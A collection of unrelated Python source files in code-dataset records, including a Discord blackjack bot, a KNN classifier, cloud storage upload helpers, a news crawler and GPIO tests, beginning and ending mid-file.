embed.add_field(name='Error', value=\"You cannot hit after standing!\")\n await channel.send(embed=embed)\n\n data[id][\"author_cards\"].append(draw_card(id, False))\n\n if calculate_total(data[id][\"author_cards\"]) > 21:\n await finish(id, Winner.BOT, bot)\n else:\n await print_embed(id)\n\n\nasync def bot_turn(id, bot):\n data[id][\"bot_cards\"].append(draw_card(id, True))\n if calculate_total(data[id][\"bot_cards\"]) < 17:\n await print_embed(id)\n await bot_turn(id, bot)\n else:\n await finish(id, get_winner_at_moment(id), bot)\n\n\nasync def stand(id, bot):\n data[id][\"author_stand\"] = True\n await bot_turn(id, bot)\n\n\ndef draw_card(id, bot):\n card = data[id][\"deck\"].pop()\n if card[\"value\"] is None:\n deck = data[id][\"bot_cards\" if bot else \"author_cards\"]\n if calculate_total(deck) > 10:\n card[\"value\"] = 1\n else:\n card[\"value\"] = 11\n return card\n\n\nasync def finish(id, winner: Winner, bot):\n if winner == Winner.BOT:\n await bust(id)\n # todo stuff\n\n if winner == Winner.AUTHOR:\n await win(id, bot)\n\n if winner == Winner.TIE:\n await tie(id, bot)\n\n data.pop(id)\n\n\nclass BlackJack(commands.Cog):\n\n def __init__(self, bot):\n self.bot = bot\n self.Usage = \"The blackjack commands\"\n\n @commands.command(name=\"bj\")\n async def bj_command(self, ctx, coin_type: CoinType, amount: Amount):\n amountValid(self.bot, ctx.author.id, amount, coin_type)\n author_id = ctx.author.id\n\n if author_id in data:\n raise Exception(\"You are already in a blackjack game, please use hit or stand\")\n\n data[author_id] = {\n \"channel\": ctx.channel,\n \"msg_id\": None,\n \"author_cards\": [],\n \"bot_cards\": [],\n \"deck\": cards_names * 4,\n \"author_stand\": False,\n \"type\": coin_type,\n \"amount\": amount,\n \"icon_url\": ctx.author.avatar_url\n }\n random.shuffle(data[author_id][\"deck\"])\n data[author_id][\"author_cards\"] = [draw_card(author_id, False), draw_card(author_id, False)]\n\n self.bot.update_amount(author_id, -amount, coin_type)\n await print_embed(author_id)\n\n @commands.Cog.listener()\n async def on_message(self, message):\n if message.content.lower().startswith(\"hit\"):\n if message.author.id in data:\n await message.delete()\n await hit(message.author.id, message.channel, self.bot)\n return\n embed = Embed(colour=Colour.red())\n embed.set_footer(text=\"Usage: !bj type amount\")\n embed.add_field(name='Error', value=\"You are not in a game!\")\n await message.channel.send(embed=embed)\n\n if message.content.lower().startswith(\"stand\"):\n if message.author.id in data:\n await message.delete()\n await stand(message.author.id, self.bot)\n return\n embed = Embed(colour=Colour.red())\n embed.set_footer(text=\"Usage: !bj type amount\")\n embed.add_field(name='Error', value=\"You are not in a game!\")\n await message.send(embed=embed)\n\n @bj_command.error\n async def info_error(self, ctx, error):\n embed = Embed(colour=Colour.red())\n embed.set_footer(text=\"Usage: !bj type amount\")\n embed.add_field(name='Error', value=error.args[0].replace(\"Command raised an exception: Exception: \", \"\"))\n await ctx.send(embed=embed)\n raise error\n","sub_path":"commands/Blackjack.py","file_name":"Blackjack.py","file_ext":"py","file_size_in_byte":9269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"652223691","text":"def this_coach_is_worst():\n test_cases=int(input())\n for i in range(test_cases):\n members_in_team=int(input())\n members=list(map(int,input().split()))\n members.sort()\n minimum=max(members)\n for i in range(len(members)-1):\n if (abs(members[i]-members[i+1]))<minimum:\n minimum=abs(members[i]-members[i+1])\n print(minimum)\n \nthis_coach_is_worst()","sub_path":"1360B - honest coach.py","file_name":"1360B - honest coach.py","file_ext":"py","file_size_in_byte":420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"109069152","text":"import os\nimport sys\nimport re\nimport os.path\n\nresultPattern = re.compile(\"^\\\\s*([^,]+)\\\\s*,\\\\s*([^,]+)\\\\s*,\\\\s*([0-9]+)\\\\s*$\")\n\nclass Result:\n\n def __init__(self, nz, n1, num):\n self.name_last = nz\n self.name_first = n1\n self.grade = num\n\n __eq__ = lambda self, other: self.grade == other.grade and self.name_last == other.name_last and self.name_first == other.name_first\n __ne__ = lambda self, other: not self.__eq__(other)\n __lt__ = lambda self, other: self.grade < other.grade or (self.grade == other.grade and self.name_last > other.name_last)\n __ge__ = lambda self, other: not self.__lt__(other)\n __gt__ = lambda self, other: self.grade > other.grade or (self.grade == other.grade and self.name_last < other.name_last)\n __le__ = lambda self, other: not self.__gt__(other)\n\n\nfor filename in sys.argv[1:]:\n with open(filename, \"r\") as content:\n results = []\n for line in content:\n split = resultPattern.match(line)\n if split:\n results.append(Result(split.group(1), split.group(2), int(split.group(3))))\n else:\n sys.stderr.write(filename + \":\" + line.rstrip() + \": invalid format\\n\")\n results.sort(reverse=True)\n (stem, ext) = os.path.splitext(filename)\n with open(stem + \"-sorted\" + ext, \"w\") as writeout:\n for line in range(len(results)):\n record = results[line]\n writeout.write(record.name_last + \", \" + record.name_first + \", \" + str(record.grade) + \"\\n\")\n","sub_path":"sort.py","file_name":"sort.py","file_ext":"py","file_size_in_byte":1548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"148563008","text":"\"\"\" \nTests for mempy.states\n----------------------\n\nThis script defines test functions for the mempy.states module.\n\n\"\"\"\n\nimport numpy as np\nimport mempy.states\n\ndef test_dirac_state():\n \"\"\" Test the DiracState class.\"\"\"\n\n lagrange = np.matrix(0.0)\n \n state = mempy.states.DiracState()\n Z, dZ = state.partition_function(lagrange) \n\n np.testing.assert_equal(Z, 1)\n np.testing.assert_equal(dZ, 0)\n\ndef test_normal_state():\n \"\"\" Test the NormalState class.\"\"\"\n\n # Trivial normal state with a single variable.\n forward = np.matrix(1.0)\n mean = np.matrix(0.0)\n variance = np.matrix(0.0)\n lagrange = np.matrix(0.0)\n\n state = mempy.states.NormalState(forward, mean, variance) \n Z, dZ = state.partition_function(lagrange)\n\n np.testing.assert_equal(Z, 1.0)\n np.testing.assert_equal(dZ, 0.0)\n\n # Multivariate case.\n forward = np.matrix(np.eye(2))\n mean = np.matrix(np.zeros((2,1)))\n variance = np.matrix(np.eye(2))\n lagrange = np.matrix(np.zeros((2,1)))\n\n state = mempy.states.NormalState(forward, mean, variance)\n Z, dZ = state.partition_function(lagrange)\n\n np.testing.assert_array_almost_equal(Z, np.ones((1,1)))\n np.testing.assert_array_almost_equal(dZ, np.zeros((2,1)))\n\n # Other multivariate case.\n forward = np.matrix(np.eye(5))\n mean = np.matrix(np.zeros((5,1)))\n variance = np.matrix(np.eye(5))\n lagrange = np.matrix(np.ones((5,1)))\n\n state = mempy.states.NormalState(forward, mean, variance)\n Z, dZ = state.partition_function(lagrange)\n\n np.testing.assert_array_almost_equal(Z, np.exp(2.5))\n\nif __name__ == '__main__':\n test_dirac_state()\n test_normal_state()\n","sub_path":"mempy/test/test_state.py","file_name":"test_state.py","file_ext":"py","file_size_in_byte":1668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"131056297","text":"import json\nfrom datetime import datetime\nfrom copy import deepcopy\nfrom .node import Node, NodeList\nfrom .helper import get_real_file_path, get_file_type, get_node_attributes, make_attributes_for_xml, merge_attributes\nfrom .constants import HTML1_TXT, HTML2_TXT\n\nclass QGProfiler(object):\n def __init__(self, root_name, file_path, attributes={}):\n self.attributes = get_node_attributes(attributes)\n self.root_node = Node(root_name, None, self.attributes)\n self.current_node = self.root_node\n self.file_type = get_file_type(file_path)\n self.file_path = get_real_file_path(file_path)\n\n def push(self, name):\n datetime_now = datetime.now()\n index = self.current_node.is_child_in_children(name)\n if index == -1:\n new_node = Node(name, self.current_node, self.attributes)\n self.current_node.add_child(new_node)\n self.current_node = new_node\n else:\n self.current_node = self.current_node.get_child(index)\n self.current_node.increment_count()\n self.current_node.modify_time()\n self.current_node.update_over_head((datetime.now() - datetime_now).total_seconds())\n\n def update(self, attr, value):\n datetime_now = datetime.now()\n if attr in self.attributes:\n self.current_node.update_attribute(attr, value)\n self.current_node.update_over_head((datetime.now() - datetime_now).total_seconds())\n else:\n raise ValueError('cannot update attribute which is not intialized')\n\n def pop(self):\n datetime_now = datetime.now()\n if self.root_node != self.current_node:\n self.current_node.increment_value()\n self.current_node.modify_time()\n self.current_node.set_aggregate_attr(merge_attributes(self.current_node.get_attributes(), self.current_node.get_aggregate_attr()))\n parent_node = self.current_node.get_parent()\n parent_node.set_attributes(merge_attributes(parent_node.get_attributes(), self.current_node.get_attributes()))\n self.current_node.set_attributes(deepcopy(self.attributes))\n self.current_node.update_over_head((datetime.now() - datetime_now).total_seconds())\n self.current_node = parent_node\n else:\n raise ValueError('cannot pop! you have reached root node, try end')\n\n def pop_all(self):\n while self.root_node != self.current_node:\n self.pop()\n\n def end(self):\n datetime_now = datetime.now()\n if self.root_node == self.current_node:\n self.root_node.increment_value()\n self.root_node.modify_time()\n self.root_node.set_aggregate_attr(merge_attributes(self.root_node.get_attributes(), self.root_node.get_aggregate_attr()))\n self.root_node.update_over_head((datetime.now() - datetime_now).total_seconds())\n else:\n raise ValueError('cannot end! you are not at the root node, try pop() or pop_all()')\n\n def generate_file(self, rounding_no=None):\n def recursive_json_generator(node):\n _dict = {}\n value = node.get_value()\n if rounding_no or rounding_no == 0:\n value = round(value, rounding_no)\n _dict['name'] = node.get_name()\n _dict['value'] = value\n _dict['count'] = node.get_count()\n _dict['overhead'] = node.get_over_head()\n _dict['attributes'] = node.get_aggregate_attr()\n _dict['children'] = [recursive_json_generator(child_node) for child_node in node.get_children()]\n return _dict\n\n def recursive_xml_generator(node):\n node_name = node.get_name()\n node_value = node.get_value()\n if rounding_no or rounding_no == 0:\n node_value = round(node_value, rounding_no)\n node_value = str(node_value)\n node_count = str(node.get_count())\n node_over_head = str(node.get_over_head())\n node_attributes = make_attributes_for_xml(node.get_aggregate_attr())\n _xml = '<node '+ 'name=\"' + node_name + '\" value=\"' + node_value + '\" count=\"' + node_count + '\" overhead=\"' + node_over_head + '\" attributes=\"' + node_attributes + '\">'\n _xml += ''.join([recursive_xml_generator(child_node) for child_node in node.get_children()]) \n _xml += '</node>'\n return _xml\n\n if self.file_type == 'json':\n _json = recursive_json_generator(self.root_node)\n text = json.dumps(_json)\n self.write_file(text)\n elif self.file_type == 'xml':\n text = recursive_xml_generator(self.root_node)\n self.write_file(text)\n elif self.file_type == 'html':\n _json = recursive_json_generator(self.root_node)\n text = json.dumps(_json)\n html_text = HTML1_TXT + text + HTML2_TXT\n self.write_file(html_text)\n\n def write_file(self, text):\n with open(self.file_path, 'w') as f:\n f.write(text)\n","sub_path":"qgprofiler/qg_profiler.py","file_name":"qg_profiler.py","file_ext":"py","file_size_in_byte":5068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"558995787","text":"from __future__ import absolute_import\n\nfrom datetime import timedelta\nfrom django.db.models import Max\nfrom django.utils import timezone\n\nfrom sentry.constants import VALID_PLATFORMS\nfrom sentry.models import Group, Project, ProjectPlatform\nfrom sentry.tasks.base import instrumented_task\n\n\n@instrumented_task(name='sentry.tasks.collect_project_platforms', queue='stats')\ndef collect_project_platforms(**kwargs):\n now = timezone.now()\n\n min_project_id = 0\n max_project_id = Project.objects.aggregate(x=Max('id'))['x'] or 0\n step = 1000\n while min_project_id < max_project_id:\n queryset = Group.objects.filter(\n last_seen__gte=now - timedelta(days=1),\n project__gte=min_project_id,\n project__lt=min_project_id + step,\n platform__isnull=False,\n ).values_list('platform', 'project_id').distinct()\n\n for platform, project_id in queryset:\n platform = platform.lower()\n if platform not in VALID_PLATFORMS:\n continue\n ProjectPlatform.objects.create_or_update(\n project_id=project_id,\n platform=platform,\n values={\n 'last_seen': now,\n },\n )\n min_project_id += step\n\n # remove (likely) unused platform associations\n ProjectPlatform.objects.filter(\n last_seen__lte=now - timedelta(days=90),\n ).delete()\n","sub_path":"src/sentry/tasks/collect_project_platforms.py","file_name":"collect_project_platforms.py","file_ext":"py","file_size_in_byte":1435,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"454002379","text":"from ApiADA.loggers import logging\nfrom core.exceptions.customexceptions import ApiException\nfrom rule.models import Rule\nfrom core.beans.rules_engine.condition import ConditionImplementation\nfrom core.beans.rules_engine.action import ActionImplementation\nfrom condition.models import Condition\nfrom action.models import Action\nimport traceback\nimport json\nfrom json_tricks import dumps\n\nfrom django.http import JsonResponse\nfrom rest_framework import status\n\nlog = logging.getLogger(__name__)\n\n\nclass RuleImplementation():\n\n objRule=None\n\n def __init__(self, objRule ):\n self.objRule=objRule\n\n\n def verifyRule(self, event):\n log.info('Start: verifyRule Description:'+self.objRule.description)\n\n #condition=Condition.objects.filter(rule=self.objRule.id)[0]\n tmp=True\n if (self.objRule.condition_id):\n condition=Condition.objects.filter(id=self.objRule.condition_id)[0]\n if (condition):\n conditionImpletantion=ConditionImplementation(condition)\n tmp=conditionImpletantion.verifyCondition(event)\n else:\n raise ApiException('Condition with id %s not found' % self.objRule.condition_id)\n \n\n log.info('End: verifyRule Description:'+self.objRule.description+' Output:'+str(tmp))\n\n return tmp\n\n def executeAction(self, event):\n log.info('Start: executeAction Description:'+self.objRule.description)\n #Recogemos las acciones que tiene nuestra regla \n #actions=Action.objects.filter(rule=self.objRule.id).order_by('order').all()\n if (self.objRule.id):\n actions=Action.objects.filter(rule=self.objRule.id).order_by('order').all()\n\n try:\n tmp=event\n for action in actions:\n actionImplementation=ActionImplementation(action.logicalaction)\n tmp=actionImplementation.executeAction(event)\n \n log.info('End: executeAction Description:'+self.objRule.description)\n return tmp\n\n except Exception as e:\n log.error('Exception:'+type(e).__name__ +\" \" +str(e))\n log.error(traceback.format_exc())\n raise ApiException(str(e)) \n else:\n log.info('End: executeAction Description:'+self.objRule.description)\n return event\n\n\n\n\n \n\n","sub_path":"core/beans/rules_engine/rule.py","file_name":"rule.py","file_ext":"py","file_size_in_byte":2417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"180464375","text":"\n\nfrom xai.brain.wordbase.nouns._meteorologist import _METEOROLOGIST\n\n#calss header\nclass _METEOROLOGISTS(_METEOROLOGIST, ):\n\tdef __init__(self,): \n\t\t_METEOROLOGIST.__init__(self)\n\t\tself.name = \"METEOROLOGISTS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"meteorologist\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_meteorologists.py","file_name":"_meteorologists.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"501234862","text":"# Purpose: Find the specific intron sequences for given protein name.\n# Authors: Fan Shen, Zhifan Wu\n# Date: 2018-03-25\n\ndef find_introns_for_protein(protein_name, result_file, write_file):\n \"\"\" (str, str, stre) --> nonetype\n \n Write in to write_file the name and sequences, where find protein_name\n in result_file.\n \"\"\"\n file_handle = open(result_file)\n\n geneListFile = open(write_file, \"w\")\n str_len = 0\n\n flag = False\n for line in file_handle.readlines():\n if line.find(protein_name) != -1:\n geneListFile.write(\"%s\\n\" % line[:-1])\n flag = True\n else:\n if flag:\n geneListFile.write(\"%s\\n\" % line[:-1])\n str_len = str_len + len(line[:-1])\n flag = False\n\n geneListFile.write(\"The residues length is %s\\n\" % str_len)\n\n\nif __name__ == '__main__':\n find_introns_for_protein(\"RRH\", \"result.fasta\", \"./RRH_putative_introns.fasta\")\n find_introns_for_protein(\"RRH\", \"verify.fasta\", \"./RRH_verify_introns.fasta\")\n","sub_path":"introns/Python_script/find_introns_for_protein.py","file_name":"find_introns_for_protein.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"191197715","text":"import os\nimport sys\n\nfrom src.config.config import *\n\n\nclass AliOSS:\n # 上次进度-限制相同进度打印\n _last_percent = 0\n\n def __init__(self, access_key_id: str, access_key_secret: str, end_point: str, bucket: str):\n self.access_key_id = access_key_id\n self.access_key_secret = access_key_secret\n self.end_point = end_point\n self.bucket = bucket\n # 初始化阿里 oss\n import oss2\n _auth = oss2.Auth(access_key_id, access_key_secret)\n self._bucket = oss2.Bucket(_auth, ALI_OSS_END_POINT, bucket)\n\n def put_file(self, key: str, filename: str):\n print(\"正在上传到阿里云:\", key, filename)\n res = self._bucket.put_object_from_file(\n key, filename, progress_callback=self.percentage)\n print(res.resp.__dict__)\n print(res.__dict__)\n return res.status == 200\n\n def put_object(self, key: str, data):\n print(\"正在上传到阿里云:\", key)\n res = self._bucket.put_object(key, data.encode('gbk'))\n print(res.__dict__)\n return res.status == 200\n\n # 进度打印\n def percentage(self, consumed_bytes, total_bytes):\n if total_bytes:\n rate = int(100 * (float(consumed_bytes) / float(total_bytes)))\n if rate == self._last_percent:\n return\n print('\\r正在上传-{0}% '.format(rate), end='')\n sys.stdout.flush()\n\n\n# 上传文件到阿里OSS\ndef put_file_to_ali_oss(key, file_path):\n if not _check_ali_oss_conf():\n print(\"没有阿里oss相关配置\")\n return\n if not key:\n print(\"上传文件名不存在\")\n return\n if not os.path.isfile(file_path):\n print(\"上传件不存在\")\n return\n ali_oss = _get_ali_oss()\n if ali_oss.put_file(key, file_path):\n url = ALI_OSS_END_POINT.replace(\"https://\", \"\").replace(\"http://\", \"\")\n return \"https://\" + ALI_OSS_BUCKET_NAME + \".\" + url + \"/\" + key\n else:\n return \"\"\n\n\n# 上传文本到阿里 OSS\ndef put_text_to_ali_oss(key, text):\n if not _check_ali_oss_conf():\n print(\"没有阿里oss相关配置\")\n return\n if not key:\n print(\"上传文件名不存在\")\n return\n ali_oss = _get_ali_oss()\n if ali_oss.put_object(key, text):\n url = ALI_OSS_END_POINT.replace(\"https://\", \"\").replace(\"http://\", \"\")\n return \"https://\" + ALI_OSS_BUCKET_NAME + \".\" + url + \"/\" + key\n else:\n return \"\"\n\n\ndef _get_ali_oss():\n return AliOSS(ALI_OSS_ACCESS_KEY_ID, ALI_OSS_ACCESS_KEY_SECRET, ALI_OSS_END_POINT, ALI_OSS_BUCKET_NAME)\n\n\n# 检查oss配置是否正确\ndef _check_ali_oss_conf():\n return ALI_OSS_ACCESS_KEY_ID and ALI_OSS_ACCESS_KEY_SECRET and ALI_OSS_END_POINT and ALI_OSS_BUCKET_NAME\n","sub_path":"src/ali/oss.py","file_name":"oss.py","file_ext":"py","file_size_in_byte":2787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"81239881","text":"import boto3\nimport numpy as np\nimport pandas as pd\nimport io\n\nbucket='visionarybucket'\n\ncred = boto3.Session().get_credentials()\nACCESS_KEY = cred.access_key\nSECRET_KEY = cred.secret_key\nSESSION_TOKEN = cred.token ## optional\n\n#print(ACCESS_KEY)\n#print(SECRET_KEY)\n\ns3client = boto3.client('s3',\n aws_access_key_id = ACCESS_KEY,\n aws_secret_access_key = SECRET_KEY,\n aws_session_token = SESSION_TOKEN)\n\n#print(s3client.list_buckets())\n\ns3_resource = boto3.resource('s3')\n\n#s3_resource.Bucket(bucket).upload_file(\n# Filename= \"visionary/data/processed/just_yolo.csv\" , Key = \"data/just_yolo.csv\")\n\nresponse = s3client.get_object(Bucket=bucket, Key= \"data/processed/just_yolo.csv\")\nbody = response[\"Body\"].read()\ncurrent = pd.read_csv(io.BytesIO(body))\n\nprint(current.head())\n\ncsv_buffer = io.StringIO()\ncurrent.to_csv(csv_buffer)\ns3_resource.Object(bucket, 'data/processed/just_yolo.csv').put(Body=csv_buffer.getvalue())\n\n\ndef get_latest_file_name(bucket_name,file_path):\n \"\"\"\n Return the latest file name in an S3 bucket folder.\n\n :param bucket: Name of the S3 bucket.\n :param prefix: Only fetch keys that start with this prefix (folder name).\n \"\"\"\n #s3_client = boto3.client('s3')\n get_last_modified = lambda obj: int(obj['LastModified'].strftime('%s'))\n paginator = s3client.get_paginator( \"list_objects\" )\n page_iterator = paginator.paginate(Bucket = bucket_name, Prefix = file_path)\n for page in page_iterator:\n if \"Contents\" in page:\n last_added = [obj['Key'] for obj in sorted( page[\"Contents\"], key=get_last_modified)][-1]\n return last_added\n\n#latest_filename = get_latest_file_name(bucket_name=bucket, file_path = 'data/raw/Glenrose/')\n\n#print(latest_filename)\n\n","sub_path":"scripts/s3_testing.py","file_name":"s3_testing.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"151882381","text":"import numpy as np\nimport pylab as pl\n\nfrom sklearn.cluster import KMeans\nfrom sklearn.datasets.samples_generator import make_blobs\nfrom sklearn.metrics.pairwise import euclidean_distances\n\nfrom Utils.IO import *\n\nimport subprocess\n\ndef main():\n # Generate the data\n n_centers = 5\n centers = [[1,1], [-1,-1],[1,-1],[2,3], [3,4]]\n X, labels = make_blobs(n_samples=300, centers=centers, cluster_std=0.7)\n\n # set the variables\n k = 5\n n_iter = 300\n tol = 0.0001\n\n\n # save the data\n save_name = '/home/om0000/Workspace/PhdWork/KMeansTest.hdf5'\n read_name = '/home/om0000/Workspace/PhdWork/KMeansTestIn.hdf5'\n centers_name = '/home/om0000/Workspace/PhdWork/KMeansTestC.hdf5'\n\n\n SaveHDF5(save_name, X)\n\n # create the command\n exe_name = '/home/om0000/Workspace/PhdWork/ML/Clustering/KMeans_Test'\n\n proc = subprocess.Popen([exe_name, save_name, read_name, str(k), str(n_iter), str(tol), centers_name])\n proc.wait()\n\n\n # get the output\n Y = ReadHDF5( read_name )\n C = ReadHDF5( centers_name ) \n\n # do there one\n\n kmeans = KMeans(init='k-means++', n_clusters=k, n_init=10).fit(X)\n Y2 = kmeans.labels_\n C2 = kmeans.cluster_centers_\n\n \n # order them\n distances = euclidean_distances( C, C2, squared=True )\n order = distances.argmin(axis=1)\n\n\n\n # plot\n colors = ['#4EACC5', '#FF9C34', '#4E9A06','#abcabc', '#000000']\n\n fig = pl.figure()\n ax1 = fig.add_subplot(1,2,1)\n\n\n for k, col in zip(range(n_centers), colors):\n members = Y == k\n ax1.plot(X[members.ravel(),0], X[members.ravel(),1], 'w', markerfacecolor=col, marker='.')\n ax1.plot(C[k,0], C[k,1], 'o', markerfacecolor=col, markeredgecolor='k', markersize=6) \n\n \n ax2 = fig.add_subplot(1,2,2)\n\n\n for k, col in zip(range(n_centers), colors):\n members = Y2 == order[k]\n ax2.plot(X[members.ravel(),0], X[members.ravel(),1], 'w', markerfacecolor=col, marker='.')\n ax2.plot(C2[order[k],0], C2[order[k],1], 'o', markerfacecolor=col, markeredgecolor='k', markersize=6) \n pl.show()\n\nif __name__ == '__main__':\n main()\n","sub_path":"Python/Scripts/KMeansTest.py","file_name":"KMeansTest.py","file_ext":"py","file_size_in_byte":2119,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"567926021","text":"\"\"\"\n自定义实现knn\n给定一组数据集,包括(x,y)\n给定一个预测的样本,\n通过knn来预测该样本属于那个分类\n样本集:\n 1,1,A\n 1,2,A\n 1.5,1.5,A\n 3,4,B\n 4,4,B\n预测数据\n 2,2\n通过knn对该数据进行分类预测\n\n算法实现思路\n 1,计算预测样本和数据集中的距离\n 2,将所有距离从小到大排序\n 3,计算前k个最小距离的类别个数\n 4,返回前k个最小距离中 个数最多的分类\n\n\"\"\"\n\nimport numpy as np\nimport operator\n\n\ndef handle_data(dataset):\n \"\"\"\n :param dataset: sample\n :return: return x and y\n \"\"\"\n x = dataset[:, :-1].astype(np.float)\n y = dataset[:, -1]\n return x, y\n\ndef knn_classifier(k, dataset, input):\n \"\"\"\n :param k:\n :param dataset: all the data\n :param input: data of predict\n :return: class of predict data\n \"\"\"\n x, y = handle_data(dataset)\n\n # 1,计算预测样本和数据集中的距离\n distance = np.sum((input - x)**2, axis=1)**0.5\n # 2,将所有距离从小到大排序\n sortDist = np.argsort(distance) # 排序之后输出排序的下标\n print(sortDist)\n # 3,计算前k个最小距离的类别个数\n countLabel = {}\n for i in range(k):\n label = y[sortDist[i]]\n countLabel[label] = countLabel.get(label, 0)+1\n # 4,返回前k个最小距离中 个数最多的分类\n # maxCount = 0\n # label = None\n # for k,v in countLabel.items():\n # if v > maxCount:\n # maxCount = v\n # label = k\n sortLabel = sorted(countLabel.items(), key=operator.itemgetter(1), reverse=True)\n return sortLabel[0][0]\n\n\nif __name__ == \"__main__\":\n dataset = np.loadtxt(\"knn_data.txt\", dtype=np.str, delimiter=\",\") # txt load separate by \",\"\n print(dataset)\n\n # predict data\n predict = [2, 2]\n print(knn_classifier(3, dataset, predict))\n\n","sub_path":"ML library/knn/knn.py","file_name":"knn.py","file_ext":"py","file_size_in_byte":1925,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"503824754","text":"import itertools\nimport multiprocessing\nimport os\nfrom multiprocessing.dummy import Pool\nfrom time import sleep\nimport mongo_driver\nimport newspaper\nfrom fake_useragent import UserAgent\nimport requests\n\nos.environ['TLDEXTRACT_CACHE'] = '~/tldextract.cache'\n\nconfig = newspaper.Config()\nconfig.fetch_images = False\nconfig.request_timeout = 3\nconfig.memoize_articles = True\n\n\nclass NewsSource:\n\n def __init__(self, n_articles=45):\n self.n_articles = n_articles\n pass\n\n def build(self, source):\n self._data = source\n self.categories = source['Category']\n self.url = self.test_https(source['url'].split('/')[0])\n if self.url == False:\n return\n self.get_links()\n self.build_meta()\n print(self.url, self.categories)\n self.get_articles_controller()\n if self.source_obj.size() > 0:\n\n mongo_driver.insert('source_logs', self.meta)\n\n def test_https(self, url):\n\n def test_url(url_):\n try:\n return requests.get(url_).ok\n\n except requests.exceptions.ConnectionError:\n return False\n\n if 'http://' or 'https://' not in url:\n _url = 'https://' + url\n\n if test_url(_url) == False:\n _url = 'http://' + url\n if test_url(_url) == False:\n return False\n url = _url\n return url\n\n def build_meta(self):\n self.meta = {}\n self.meta['Meta'] = {\n 'Source': self.url,\n 'Size': self.source_obj.size(),\n 'Flags': self.categories,\n 'Description': self.source_obj.description\n }\n\n def get_links(self):\n ua = UserAgent()\n self.source_obj = newspaper.build(\n self.url, browser_user_agent=ua.chrome, language='en', config=config)\n\n def get_articles_controller(self):\n articles = self.source_obj.articles\n if not self.source_obj.articles:\n return\n\n def get_articles(article):\n article_data = {}\n article.url = article.url.strip()\n\n try:\n article.download()\n sleep(.1)\n article.parse()\n except Exception as e:\n print(e)\n return\n\n if article.title:\n # try:\n # article.nlp()\n # except:\n # article_data['keywords'] = article.keywords\n article_data['title'] = article.title\n article_data['text'] = article.text\n article_data['flags'] = self.categories\n article_data['source'] = self.url\n article_data['url'] = article.url\n print(article_data['title'])\n mongo_driver.insert('articles', article_data)\n\n list(map(get_articles, articles[:self.n_articles]))\n\n\ndef go(source):\n NewsSource().build(source)\n\n\ndef threadpool():\n pool = Pool(30)\n x = pool.imap_unordered(go, batch)\n while True:\n try:\n x.next(timeout=10)\n except multiprocessing.context.TimeoutError:\n print('timeout!')\n except AttributeError as e:\n print(e)\n except StopIteration:\n print('batch finished.')\n pool.close()\n break\n\n except EOFError:\n pass\n\n\nif __name__ == '__main__':\n news_sources = mongo_driver.get_all('all_sources')\n while True:\n try:\n batch = itertools.islice(news_sources, 90)\n threadpool()\n\n except StopIteration:\n print('finished.')\n exit()\n","sub_path":"get_process_data/webcrawler.py","file_name":"webcrawler.py","file_ext":"py","file_size_in_byte":3663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"245922570","text":"from gimpbbio import gpio\nfrom . import fake_filesystem\n\ndef test_pins_are_accessible_via_key():\n assert gpio.pins[\"USR0\"].name == \"USR0\"\n\ndef test_pins_are_accessible_via_attribute():\n assert gpio.pins.usr0.name == \"USR0\"\n\ndef test_only_gpio_pins_are_accessible():\n assert not hasattr(gpio.pins, \"P9_1\")\n\ndef test_can_open_for_output(monkeypatch):\n fake_filesystem.hook(monkeypatch)\n\n gpio.pins.p8_15.open_for_output()\n\n export = fake_filesystem.get(\"/sys/class/gpio/export\")\n assert export.content == \"47\"\n\n direction = fake_filesystem.get(\"/sys/class/gpio/gpio47/direction\")\n assert direction.content == \"out\"\n\ndef test_can_set_output_pin_value_high(monkeypatch):\n fake_filesystem.hook(monkeypatch)\n \n gpio.pins.p8_15.open_for_output()\n gpio.pins.p8_15.set_high()\n\n value_file = fake_filesystem.get(\"/sys/class/gpio/gpio47/value\")\n assert value_file.content == True\n\ndef test_can_set_output_pin_value_low(monkeypatch):\n fake_filesystem.hook(monkeypatch)\n\n gpio.pins.p8_15.open_for_output()\n gpio.pins.p8_15.set_low()\n\n value_file = fake_filesystem.get(\"/sys/class/gpio/gpio47/value\")\n assert value_file.content == False\n\ndef test_can_open_for_input(monkeypatch):\n fake_filesystem.hook(monkeypatch)\n\n gpio.pins.p8_15.open_for_input()\n\n export = fake_filesystem.get(\"/sys/class/gpio/export\")\n assert export.content == \"47\"\n\n direction = fake_filesystem.get(\"/sys/class/gpio/gpio47/direction\")\n assert direction.content == \"in\"\n\ndef test_can_tell_if_pin_is_high(monkeypatch):\n fake_filesystem.hook(monkeypatch)\n\n gpio.pins.p8_15.open_for_input()\n value_file = fake_filesystem.get(\"/sys/class/gpio/gpio47/value\")\n value_file.content = True\n\n assert gpio.pins.p8_15.is_high()\n assert not gpio.pins.p8_15.is_low()\n\ndef test_can_tell_if_pin_is_low(monkeypatch):\n fake_filesystem.hook(monkeypatch)\n\n gpio.pins.p8_15.open_for_input()\n value_file = fake_filesystem.get(\"/sys/class/gpio/gpio47/value\")\n value_file.content = False\n\n assert gpio.pins.p8_15.is_low()\n assert not 